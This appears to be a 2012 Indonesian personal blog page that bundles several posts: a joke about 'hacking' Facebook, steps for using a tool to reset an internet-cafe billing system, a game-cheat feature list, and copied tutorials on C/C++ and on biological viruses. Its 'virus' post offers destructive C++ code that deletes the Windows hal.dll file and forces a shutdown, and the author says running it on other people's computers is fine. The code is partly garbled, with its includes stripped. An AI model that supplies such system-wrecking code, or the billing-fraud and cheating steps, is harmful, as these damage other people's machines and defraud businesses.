WELCOME TO BLOG ORANG GANTENG SECILACAP

Jumat, 21 September 2012

0 Cara Hack FB Terbaru 2012 September

Kali ini saya akan berbagi tips hacking facebook terbaru, cara hack facebook kali ini tanpa menggunakan software apapun lho... penasaran bagaimana cara kerjanya? Chek This Out !



Cara hack facebook yang akan saya bagikan kali ini lumayan rumit sob, butuh kerja keras dan semangat juang 45' yang mantap. Mungkin kamu punya masalah sama orang lain dan ingin membajak akun facebooknya, atau mungkin kamu punya pacar ( curiga si doi selingkuh ), dan ingin tau apa passwordnya? Ok, langsung kita mulai aja tutorialnya !

Berikut Cara Hack Facebook Tanpa Menggunakan Software 100% Work :
  1. Meditasi Menjelang Hari H
  2. Perbanyak Dzikir dan Sodakoh
  3. Dandan yang Rapih Supaya Ganteng
  4. Minum Obat Asma ( Jika di Perlukan )
  5. Mandi Besar ( Nah Lho ? )
  6. Tingkatkan Rasa Percaya Diri Bahwa Kamu Bisa Menghack Akun FB Orang Itu !
Attention ! Cara Ini Bisa di Lakukan dari Jarak Jauh Maupun Jarak Dekat !
  1. Dari Jarak Dekat, Jika kamu berada di Bandung, tapi cewe kamu berada di Surabaya, kamu telepon dia dan tanyakan apa password facebooknya ( Dengan Nada Melas )
  2. Dari Jarak Dekat, Jika dia berada satu kota dengan kamu, datangi langsung aja ke rumahnya, genggam tangannya... dan, tanyakan apa password facebooknya ( Muka Polos )
Demikian cara hack facebook tanpa software, Kurang lebihnya saya ga tanggung jawab hehee :p Salam Hacker!

0 Cara Hack Billing Explorer : 2012


Hack Billing Explorer

Berikut langkah langkah Cara Hack Billing Explorer : 
  1. Extract file yang sudah anda download
  2. Buka klik thu RezBilling.exe
  3. Tunggu aja sebentar sampai RezBillingnya membaca IP address kalian, kalo ga kebaca ikuti langkah ini
  4. Klik Start > Run
  5. Ketik cmd
  6. ketika cmd.exe udah muncul, keting ipconfig
  7. keluar dah IP address nya, contohnya kayak gini 114.58.98.254
  8. Pilih tipe billing yang digunakan, ada versi Deskpro atau Dinamic
  9. Pada kolom Your PC, masukkan nomor PC anda, misalkan anda di nomor 7, maka ketik 7 pada keyboard
  10. Click checkbox “Display message before repeation. masukan pesan anda dan status dari PC mana pesan tersebut dikirim
  11. ketika semua selesai, klik Send an Exploit Message
  12. taraaaa billing anda tereset,, jika pada billing tetap RP. nya tetap, jangan kuatir, pada OP cost anda Rp.1000

Sekian Info Dari Saya

0 Cheat PB Tubes V 2.0



Don't to SHow oFF!
Downloads Cheat
Tanpa Password
Fiture : 

[ D3D Menu ]
  • WH Clean
  • WH Indo 
  • Chams CT
  • Chams TR
  • No Fog
  • No Smoke
  • Mini X-hair
Cheat Hack ] 
  • ++Damager++
  • Sg Super
  • 1 Hit [TANK|HELI|DINO] 
  • Speed Mode 
  • Pasang Bom 1 Hit
  • Defuse Bom 1 hit
  • Quick RESPOn
  • Pisau Burst
  • AMMO 01/01
  • Set Skill Grade Hack
ESP MENU ] 
  • ESP Box
  • ESP Numb HEalt (New)
  • ESP Name
  • ESP Healt
  • ESP Distance
  • ESP Clan
  • ESP Line
[ Options ]
  • GHOST Mode | ALt kanan On |CTRL off
  • Fast EXIT = F12
Penggunaan Cheat : 
  1. Buka PB kamu,,
  2. Buka Cheat,,
  3. Start PB 
  4. Keluar tulisan/notice di klik ok ok saja 
Hotkeys : 
  • D3d Menu On/OFF : INSERT
  • Panah kanan = ON
  • Panah Kiri OFF
  • Panah ats & Bawah Pilih cit

Penggunaan Ghost mode
Cara Pakai ghost , sembunyikan badan di tempat aman,yg gak terlihat lawan,,tekan CTRL /Cheat ghost aktif lalu coba kamu jalan ke arah lawan di jamin gk ngelihat mereka , saat mau menembak tekan ALT/OFf(BADAN kelihatan) dst nya bgitu,,sembunyikan badan dlo bru sikattt!!

0 Membuat Virus Menggunakan C++


Virus ini sederhana tapi lumayan Berbahaya
Masukan Kode Dibawah ini
Code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}
3.program/ato virus ini bakal ngapuz filoe c: jadi jangan di coba di ecsekusi sembarangan
4.Don’t try this at your komputer(di komputer orang boleh).he2
6.teknik yang lebih adavance lagi
7.copy paste lagi script di bawah ne,
Code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}
8.perbdaan kode yg pertaman ini terlatak pada proses pencarian direktori system secara otomatis(jdi klo yg pertama klo mw ngapus file hal.dll,filenya haruz di c:,klo yg ini otomatis nyari)
9.med coba


Sumber:blognyaoranggantengsecilacap

0 Apa C++

Bahasa C adalah salah satu bahasa pemograman yang popular di dunia dan mempunyai kemampuan lebih dari bahasa pemograman yang lain. Banyak sekali aplikasi-aplikasi yang di tulis dalam bahasa C. Bahkan, Software Development Kit untuk Windows ditulis dalam bahasa C. Bahasa C merupakan bahasa pemograman yang sifatnya portable, yaitu dengan sedikit atau tanpa perubahan, suatu program yang ditulis dengan bahasa C pada suatu komputer dapat dijalankan pada komputer lain. Bahasa C merupakan general-purpose language yaitu bahasa pemograman yang dapat digunakan untuk tujuan apa saja. C merupakan industrial-strength language. Dengan bahasa C anda dapat membangun beragam aplikasi mulai dari pemograman sistem, aplikasi cerdas (artificial intelligence), sistem pakar, utility, driver, database, browser, network programming, sistem operasi, game, virus, dll.

Bahasa C diciptakan oleh Dennis Ritchie. Sebenarnya, bahasa C merupakan pengembangan dari bahasa BCPL yang lebih dahulu ada. Sebagai bahasa yang digolongkan dalam middle level language, bahasa C mempunyai kemudahan didalam mengakses perangkat keras, juga kecepatan prosesnya yang mendekati low level language seperti Assembly. Disamping itu, bahasa C jauh lebih mudah untuk dipelajari jika dibandingkan dengan bahasa low level karena mendekati frase-frase dalam bahasa manusia, yaitu bahasa inggris.

C mempunyai banyak keuntungan dibandingkan dengan bahasa pemograman lainnya. C merupakan bahasa yang kokoh dan memberikan keleluasaan kepada penggunanya. C merupakan bahasa yang portable. Dengan sedikit/tanpa modifikasi, program C yang ditulis pada suatu komputer lain yang memiliki kompiler C. Keuntungan lain dari C adalah dalam hal kecepatan eksekusi. C memberikan kecepatan yang mendekati bahasa Assembly, tetapi memberikan kemudahan yang tidak ditawarkan oleh Assembly. Pada tahun 80’an penggunaan C di dunia indutri semakin luas sehingga kemudian distandarisasi oleh ANSI dan kemudian diadposi oleh ISO dan diadopsi ulang oleh ANSI. Official name bahasa C adalah ISO/IEC 9899-1990. Dalam memogram C kita hendalnya mengacu pada standar C yaitu ISO C.

C merupakan bahasa yang menyenangkan. Kita dapat menemukan berbagai pengalaman menarik dan dapat mengenal lebih baik tentang prinsip kerja komputer dengan C. Anda bahkan bias menciptakan bahasa anda sendiri dengan C.

Untuk melakukan kompilasi, digunakan program Turbo C++ 4.5 dari Borland Internasional. Kompiler ini merupakan salah satu terbaik dalam bahasa C. Selain cepat, juga file executable yang dihasilkan berukuran kecil. Selain itu, kompiler ini juga sudah mendukung pemograman C++ yang merupakan pengembangan bahasa C. Dalam bahasa ini, pemograman objek dapat dilakukan.

Dengan tersedianya beberapa pustaka dari C memungkinkan seorang programmer mengembangkan programnya lebih luas tanpa harus menulis keseluruhan programnya. Sebagai contoh, bila anda ingin membuat suatu windows di layar, bagian program dari window ini sudah tersedia dalam library, sehingga anda tinggal menggunakannya. Bahasa C++ sudah banyak dipergunakan orang untuk menuliskan program-program paket, karena C++ hampir tidak menimbulkan hambatan yang berarti sehingga perusahaan sotftware banyak yang menulis library untuk maksud-maksud tertentu.

Ada beberapa criteria yang dimiliki oleh C++ yang berbeda dengan bahasa pemograman yang lain.
Kriteria-kriteria itu anatara lain :
• Pemograman berorientasi objek
Pemograman dapat merancang suatu objrk yang tersusun dari beberapa kode-kode atau objek-objek yang tersusun menjadi suatu modul yang memudahkan komunikasi antara pemograman satu dengan pemograman yang lainnyaatau dengan programnya sendiri dan rancangan inilah yang akan berkembang menjadi suatu pemograman yang beorientasi objek.
• Portabilitas
Kita dapat membuat program C++ dengan segala jenis komputer dan sistem operasi tanpa dengan susah payah membuat perubahan. C++ adalah salah satu yang paling cocok dan digunakan ke bahasa program dengan platform berbeda.
• Singkat
Kode program dalam C++ sangat pendek jika di bandingkan dengan bahasa pemograman yang lain.

Sumber :
Buku Struktur Data Dengan C++
Penulis : Andri Kristianto
Penerbit : Graha Ilmu

Bahasa pemograman C++ merupakan perluasan-perluasan dari bahasa C yaitu bahasa pemograman dengan konsep structural. Banyak yang menganggap bahasa pemograman ini sebagai bahasa pemograman ini termasuk sukar di pelajari.

C++ diciptakan oleh Bjarne Stroustup dari lanoratotium AT&T pada tahun 1983. bahasa C++ dikembangkan dalam rangka mendukung konsep pemograman berorientasi obyek. Bahasa C++ kompatibel dengan bahasa sebelumnya yaitu bahasa C karena memakai dasar konsep yang sama, akan tetapi bahasa C++ banyak terdapat fasilitas-fasilitas baru yang selain akan meningkatkan kemampuan dan efektifitasnya, juga menyebabkan perbedaan kebiasaan dalam menyusun program dibandingkan dengan bahasa C.

Kompiler C++
Ialah program yang di buat oleh suatu perusahaan untuk mengkompilasi bahasa pemograman C++. Saat ini telah banyak kompiler C++, dua diantaranya yang paling banyak diapaki ialah Turbo C++, dan Borland C++ yang dikembangkan oleh Borland Corp., sedangkan kompiler lainnya ialah Microsoft C++, Symantec C++, Watcom C++, dll.

Sumber :
Modul Praktikum C++ Dasar
STMIK DhaPur


Bahasa pemrograman C++ adalah bahasa yang amat berbeda. Untuk kompiler C++ berbasis DOS, akan memerlukan beberapa kata kunci (keywords); keyword sendiri tidak cukup untuk difungsikan sebagai input dan output. Walau hampir semua fungsi dalam file library tampaknya bias diakses oleh header filenya. Coba kita lihat program sesungguhnya :
#include 
int main()
{
cout<<”HEY, you, I’m alive! Oh, and Hello World!”; return 0; } Marilah kita lihat elemen dari program diatas. Tanda #include adalah sebuah prosesor pengarah yang mengatakan kepada kompiler untukmeletakan kode dari header file iostream.h kedalam program. Dengan menyertakan header file, anda dapat mengakses banyak fungsi fungsi berbeda. Dalam contoh diatas, fungsi cout memerlukan file iostream.h. Pada baris berikutnya yang penting adalah int main(). Baris ini mengatakan kepada kompiler bahwa ada sebuah fungsi bernama main, yang mana fungsi itu mengembalikan sebuah integer, sehingga diberi tanda int. Tanda kurung ({ dan }) menandakan awal dan akhir fungsi dalam program diatas dan menghentikan kode lainnya. Jika anda memakai bahasa Pascal, anda akan mempergunakan perintah BEGIN dan END. Baris berikutnya dari program diatas agak aneh. Jika anda menulis sebuah program mempergunakan bahasa lain, anda akan mengetahui bahwa perintah print akan menampilkan text di layar monitor. Dalam bahasa C++ tidaklah demikian, pemakaian fungsi cout dipakai untuk menampilkan text di layar monitor anda. Itu juga memakai tanda atau symbol <;<; , yang diketahui sebagai operator pemasukan ( insertion operators). Tanda tersebut mengatakan kepada kompiler agar segera menghasilkan output sesuai dengan input anda. Tanda semicolon ditambahkan kedalam bagian akhir dari semua fungsi yang dipanggil dalam bahasa C++; tanda seterusnya memperlihatkan variable yang anda deklarasikan. Pada baris itu juga ada kode yang memerintahkan fungsi main kembali ke 0. Pada saat satu kali kembali diproses, itu dilakukan melalui system operasi. Sebagai catatan, pendeklarasian fungsi main yang tidak diinginkan memiliki proses kembali, dapa ditambahkan - void main() - dan biasanya itu berfungsi dengan baik; namun cara ini merupakan cara yang kurang baik. Tanda kurung terakhir berperan sebagai penutup agar fungsi dihentikan. Anda bias mencobamengoperasikan fungsi ini didalam sebuah kompiler. Anda dapat melakukan cut dan paste kode diatas kedalam sebuah file, dan menyimpannya sebagai file.cpp, dan kemudian anda buka file itu dari dalam kompiler anda. Jika anda memakai baris perintah kompiler seperti yang ada dalam Borland C++ 5.5, sebaiknya anda membaca dahulu instruksi kompiler tentang bagaimana cara melakukan kompilasi (how to compile). Comment atau komentar sering dipakai dalam penulisan program. Ketika anda mengatakan kepada kompiler bahwa sebuah bagian dari program anda adalah tex komentar, kompiler tidak akan memasukan itu sebagai perintah pemrograman. Untuk membua sebuah komentar dipergunakan tanda //, yang mengaakan kepada kompiler bahwa baris berikut adalah komentar, atau memakai tanda /* dan kemudian diakhiri tanda */ untuk menandai bahwa segala yang ada antara kedua tanda ini adalah komentar. Beberapa kompiler akan mengubah warna area komentar, tetapi beberapa kompiler lain tidak. Berhati hatilah dalam menulis program anda agar kode program anda tidak dianggap sebagai komentar oleh kompiler karena dapat mempengaruhi output program yang anda buat. Selanjutnya anda harus dapa menuliskan program sederhana untuk menampilkan informasi yang anda ketikan kedalamnya. Selain itu, program juga bisa dibuat untuk menerima input. Fungsi yang dipakai adalah cin, dan diikuti dengan tanda >>.
Tentu saja sebelum anda mencoba menerima input, anda harus memiliki tempat penyimpan input. Dalam pemrograman, input dan data disimpan dalam variable. Ada beberapa jenis variable. Pada saat anda ingin mengatakan kepada kompiler sebuah variable yang anda deklarasikan, anda harus menyertakan tipe data dan nama dari variable itu. Beberapa cara dasar adalah dengan menuliskan include char, int, dan float.
Sebuah variabel char menyimpan sebuah karakter tunggal; variabel int akan menyimpan integer (bukan bilangan desimal), dan variables float akan menyimpan bilangan desimal. Setiap variable - char, int, dan float - merupakan sebuah kata kunci (keyword) yang and pergunakan pada saat anda mendeklarasikan sebuah variabel. Untuk mendeklarasikan sebuah variable anda memakai syntax type . Ini diijinkan untuk mendeklarasikan variable multiple dari jenis variable yang sama pada baris yang sama; masing masing variabelnya dipisahkan dengan tanda koma. Deklarasi sebuah variable atau sekelompok variabel dapat diikuti tanda semicolon (Catatan, tanda ini sama dengan yang diterapkan pada prosedur dimana anda akan memanggil sebuah fungsi).
Jika anda tidak memakai sebuah variable yang dideklarasikan sebelumnya. program anda tidak akan dapat dioperasikan (atau di run), dan anda akan menerima pesan error yang memberitahu anda bahwa anda telah melakukan kesalahan.
Berikut adalah beberapa contoh deklarasi variable:
int x;
int a, b, c, d;
char letter;
float the_float;
Walaupun anda boleh memiliki banyak variable dengan jenis yang sama, anda tidak dapat memiliki variable dengan nama yang sama. Begitu pula anda tidak dapat memiliki variable dan fungsi dengan nama yang sama.
#include <>
int
main()
{
int thisisanumber;
cout<<”Please enter a number:”; cin>>thisisanumber;
cout<<”You entered: “<>


sumber:blognyaoranggantengsecilacap

0 PENGERTIAN VIRUS


Virus adalah parasit berukuran mikroskopik yang menginfeksi sel organisme biologis. Virus hanya dapat bereproduksi di dalam material hidup dengan menginvasi dan memanfaatkan sel makhluk hidup karena virus tidak memiliki perlengkapan selular untuk bereproduksi sendiri. Dalam sel inang, virus merupakan parasit obligat dan di luar inangnya menjadi tak berdaya. Biasanya virus mengandung sejumlah kecil asam nukleat yang diselubungi semacam bahan pelindung yang terdiri atas protein, lipid, glikoprotein, atau kombinasi ketiganya. Genom virus menyandi baik protein yang digunakan untuk memuat bahan genetik maupun protein yang dibutuhkan dalam daur hidupnya.
Istilah virus biasanya merujuk pada partikel-partikel yang menginfeksi sel-sel eukariota (organisme multisel dan banyak jenis organisme sel tunggal), sementara istilah bakteriofag atau fag digunakan untuk jenis yang menyerang jenis-jenis sel prokariota (bakteri dan organisme lain yang tidak berinti sel).
Virus sering diperdebatkan statusnya sebagai makhluk hidup karena ia tidak dapat menjalankan fungsi biologisnya secara bebas. Karena karakteristik khasnya ini virus selalu terasosiasi dengan penyakit tertentu, baik pada manusia (misalnya virus influenza dan HIV), hewan (misalnya virus flu burung), atau tanaman (misalnya ­virus mosaik tembakau)
Sejarah virus
Menurut para ahli biologi, virus merupakan organisme peralihan antara makhluk hidup dan benda mati. Dikatakan peralihan karena virus mempunyai ciri-ciri makhluk hidup, misalnya mempunyai DNA (asam deoksiribonukleat) dan dapat berkembang biak pada sel hidup. Memiliki ciri-ciri benda mati seperti tidak memiliki protoplasma dan dapat dikristalkan. Para penemu virus antara lain D. Iwanoski (1892) pada tanaman tembakau, dilanjutkan M. Beijerinck (1898), Loffern dan Frooch (1897) menemukan dan memisahkan virus penyebab penyakit mulut dan kaki (food and mouth diseases), Reed (1900) berhasil menemukan virus penyebab kuning (yellow fever), Twort dan Herelle (1917) penemu Bakteriofage, Wendell M. Stanley (1935) berhasil mengkristalkan virus mosaik pada tembakau. Pengetahuan tentang virus terus berkembang sampai lahir ilmu cabang biologi yang mempelajari virus disebut virology.
1. Ciri-ciri Virus
- Berukuran ultra mikroskopis
- Parasit sejati/parasit obligat
- Berbentuk oval, bulat, batang, huruf T, kumparan
- Kapsid tersusun dari protein yang berisi DNA saja atau RNA
- Dapat dikristalkan
- Aktivitasnya harus di sel makhluk hidup
2. Struktur dan anatomi Virus
Untuk mengetahui struktur virus secara umum kita gunakan bakteriofage (virus T), strukturnya terdiri dari:
a. Kepala
Kepala virus berisi DNA dan bagian luarnya diselubungi kapsid. Satu unit protein yang menyusun kapsid disebut kapsomer.
b. Kapsid
Kapsid adalah selubung yang berupa protein. Kapsid terdiri atas kapsomer. Kapsid juga dapat terdiri atas protein monomer yang yang terdiri dari rantai polipeptida. Fungsi kapsid untuk memberi bentuk virus sekaligus sebagai pelindung virus dari kondisi lingkungan yang merugikan virus.
c. Isi tubuh
Bagian isi tersusun atas asam inti, yakni DNA saja atau RNA saja. Bagian isi disebut sebagai virion. DNA atau RNA merupakan materi genetik yang berisi kode-kode pembawa sifat virus. Berdasarkan isi yang dikandungnya, virus dapat dibedakan menjadi virus DNA (virus T, virus cacar) dan virus RNA (virus influenza, HIV, H5N1). Selain itu di dalam isi virus terdapat beberapa enzim.
d. Ekor
Ekor virus merupakan alat untuk menempel pada inangnya. Ekor virus terdiri atas tubus bersumbat yang dilengkapi benang atau serabut. Virus yang menginfeksi sel eukariotik tidak mempunyai ekor.
Virus terkecil berdiameter hanya 20 nm (lebih kecil daripada ribosom), sedangkan virus terbesar sekalipun sukar dilihat dengan mikroskop cahaya.
Asam nukleat genom virus dapat berupa DNA ataupun RNA. Genom virus dapat terdiri dari DNA untai ganda, DNA untai tunggal, RNA untai ganda, atau RNA untai tunggal. Selain itu, asam nukleat genom virus dapat berbentuk linear tunggal atau sirkuler. Jumlah gen virus bervariasi dari empat untuk yang terkecil sampai dengan beberapa ratus untuk yang terbesar. Bahan genetik kebanyakan virus hewan dan manusia berupa DNA, dan pada virus tumbuhan kebanyakan adalah RNA yang beruntai tunggal.
Bahan genetik virus diselubungi oleh suatu lapisan pelindung. Protein yang menjadi lapisan pelindung tersebut disebut kapsid. Bergantung pada tipe virusnya, kapsid bisa berbentuk bulat (sferik), heliks, polihedral, atau bentuk yang lebih kompleks dan terdiri atas protein yang disandikan oleh genom virus. Kapsid terbentuk dari banyak subunit protein yang disebut kapsomer.
3. Reproduksi Virus
Cara reproduksi virus dikenal sebagai proliferasi yang terdiri dari:
a. Daur litik (litic cycle)
1. Fase Adsorbsi (fase penempelan)
Ditandai dengan melekatnya ekor virus pada sel bakteri. Setelah menempel virus mengeluarkan enzim lisoenzim (enzim penghancur) sehingga terbentuk lubang pada dinding bakteri untuk memasukkan asam inti virus.
2. Fase Injeksi (memasukkan asam inti)
Setelah terbentuk lubang pada sel bakteri maka virus akan memasukkan asam inti (DNA) ke dalam tubuh sel bakteri. Jadi kapsid virus tetap berada di luar sel bakteri dan berfungsi lagi.
3. Fase Sintesis (pembentukan)
DNA virus akan mempengaruhi DNA bakteri untuk mereplikasi bagian-bagian virus, sehingga terbentuklah bagian-bagian virus. Di dalam sel bakteri yang tidak berdaya itu disintesis virus dan protein yang dijadikan sebagai kapsid virus, dalam kendali DNA virus.
4. Fase Asemblin (perakitan)
Bagian-bagian virus yang telah terbentuk, oleh bakteri akan dirakit menjadi virus sempurna. Jumlah virus yang terbentuk sekitar 100-200 buah dalam satu daur litik.
5. Fase Litik (pemecahan sel inang)
Ketika perakitan selesai, maka virus akan menghancurkan dinding sel bakteri dengan enzim lisoenzim, akhirnya virus akan mencari inang baru.
b. Daur lisogenik (lisogenic cycle)
1. Fase Penggabungan
Dalam menyisip ke DNA bakteri DNA virus harus memutus DNA bakteri, kemudian DNA virus menyisip di antara benang DNA bakteri yang terputus tersebut. Dengan kata lain, di dalam DNA bakteri terkandung materi genetik virus.
2. Fase Pembelahan
Setelah menyisip DNA virus tidak aktif disebut profag. Kemudian DNA bakteri mereplikasi untuk melakukan pembelahan.
3. Fase Sintesis
DNA virus melakukan sintesis untuk membentuk bagian-bagian viirus
4. Fase Perakitan
Setelah virus membentuk bagian-bagian virus, dan kemudian DNA masuk ke dalam akan membentuk virus baru
5. Fase Litik
Setelah perakitan selesai terjadilah lisis sel bakteri. Virus yang terlepas dari inang akan mencari inang baru
4. Klasifikasi Virus
Menurut klasifikasi Bergey, virus termasuk ke dalam divisio Protophyta, kelas Mikrotatobiotes dan ordo Virales (Virus). Pada tahun 1976 ICTV (International Commite on Taxonomy of Virus) mempublikasikan bahwa virus diklasifikasikan struktur dan komposisi tubuh, yakni berdasarkan kandungan asam. Pada dasarnya virus dibedakan atas dua golongan yaitu virus DNA dan virus RNA.
a. Virus DNA mempunyai beberapa famili:
1. Famili Parvoviridae seperti genus Parvovirus
2. Famili Papovaviridae seperti genus Aviadenovirus
3. Famili Adenoviridae seperti genus Mastadenovirus
4. Famili Herpesviridae seperti genus Herpesvirus
5. Famili Iridoviridae seperti genus Iridovirus
6. Famili Poxviridae seperti genus Orthopoxvirus
b. Virus RNA mempunyai beberapa famili:
1. Famili Picornaviridae seperti genus Enterivirus
2. Famili Reoviridae seperti genus Reovirus
3. Famili Togaviridae seperti genus Alphavirus
4. Famili Paramyvoviridae seperti genus Pneumovirus
5. Famili Orthomyxoviridae seperti genus Influensavirus
6. Famili Retroviridae seperti genus Leukovirus
7. Famili Rhabdoviridae seperti genus Lyssavirus
8. Famili Arenaviridae seperti genus Arenavirus
5. Peran Virus dalam Kehidupan Manusia
a. Virus yang menguntungkan, berfungsi untuk:
1. Membuat antitoksin
2. Melemahkan bakteri
3. Memproduksi vaksin
4. Menyerang patogen
b. Virus yang merugikan, penyakit-penyakit yang disebabkan virus antara lain:
1. Pada Tumbuh-tumbuhan
Mozaik pada daun tembakau Tobacco Mozaic Virus
Mozaik pada kentang Potato Mozaic Virus
2. Mozaik pada tomat Tomato Aucuba Mozaic Virus
Kerusakan floem pada jeruk Citrus Vein Phloem Degeneration
3. Pada Hewan
Tetelo pada Unggas New Castle Disease Virus
Cacar pada sapi Vicinia Virus
Lidah biru pada biri-biri Orbivirus
Tumor kelenjar susu monyet Monkey Mammary Tumor Virus
4. Pada Manusia
Influensa Influenzavirus
AIDS Retrovirus
SARS Coronavirus
Flu burung Avianvirus
6. Pertahanan Diri Terhadap Serangan Virus
Kemampuan virus untuk menyebabkan penyakit disebut virulensi. Virulensi virus ditentukan oleh:
a. keberadaan dan aktivitas reseptor pada permukaan inang yang memudahkan virus untuk melekat
b. kemampuan virus menginfeksi sel
c. kecepatan replikasi virus dalam sel inang
d. kemampuan sel inang dalam menahan serangan virus
Sebagian besar virus masuk ke tubuh manusia melalui mulut dan hidung, kulit yang luka. Jika ada virus yang masuk, sel tubuh akan mempertahankan dengan menghasilkan sel fagosit, antibodi, dan interferon (protein khas)

Contoh pengaruh virus dalam perikanan :
Satu virus baru yang dapat menyebabkan kematian secara masal telah menyerang ikan mas (Cyprinus carpio) dan koi (Cyprinus carpio koi) dilaporkan mulai terjadi pada awal Tahun 1996 di Inggris (Ilouze, et al., 2006a), musim semi Tahun 1998 di Israel (Perelberg, et al., 2003) dan Korea (Choi, et al., 2004) dan menyebar ke Amerika Utara, Eropa dan Asia Tenggara (Dishon, et al., 2002) termasuk Indonesia. Di Jepang, wabah penyakit ini terjadi pada Oktober 2003 di Danau Kasumigura yang merupakan tempat utama produksi budidaya ikan mas (Haramoto, et al., 2007), sedangkan di Amerika, isolat virus sudah didapatkan pada Tahun 1998 dan wabah penyakit ini sudah menyebabkan kematian pada ikan mas liar di Sungai Chadakoin pada Tahun 2004 (Grimmett, et al., 2006). Penyakit ini dapat menyerang berbagai ukuran ikan mulai larva hingga induk, biasanya terjadi pada kisaran suhu 18-28 oC dan dapat menyebabkan kematian 80-100% (Perelberg, et al., 2003; Gilad, et al., 2003; Ilouze, et al., 2006a). Pada ikan sakit, paling sering teramati luka pada insang, sisik, ginjal, limfa, jantung dan sistem gastrointestinal (Ilouze, et al., 2006a). Secara visual pada bagian eksternal tubuh, dapat teramati adanya warna sisik yang gelap dan nekrosis insang yang akut (Choi, et al., 2004) dan hemoragik pada dasar sirip punggung, sisip dada, dan sirip anus (Grimmett, et al., 2006), sedangkan secara histologi dapat teramati adanya perubahan pada insang berupa kehilangan lamela (Pikarsky, et al., 2004).




Serangan virus ini telah menyebabkan kerugian yang sangat besar pada industri akuakultur mengingat dua jenis ikan yang diserang merupakan komoditas utama ikan konsumsi dan ikan hias. Di Israel, penyakit ini telah menyebar ke 90% budidaya ikan mas di semua bagian negara (Perelberg, et al., 2003). Hal serupa juga terjadi di Indonesia, penyebaran penyakit ini telah melintasi hampir semua daerah budidaya ikan mas.  Kegiatan budidaya yang intensif, pameran ikan koi dan perdagangan aktif domestik dan internasional yang hampir tidak ada pembatasan dan pemeriksaan atau penerapan program karantina merupakan penyebab penyebaran yang sangat cepat penyakit ini secara global (Gilad, et al., 2003, Pikarsky, et al., 2004).

Sumber:blognyaoranggantengsecilacap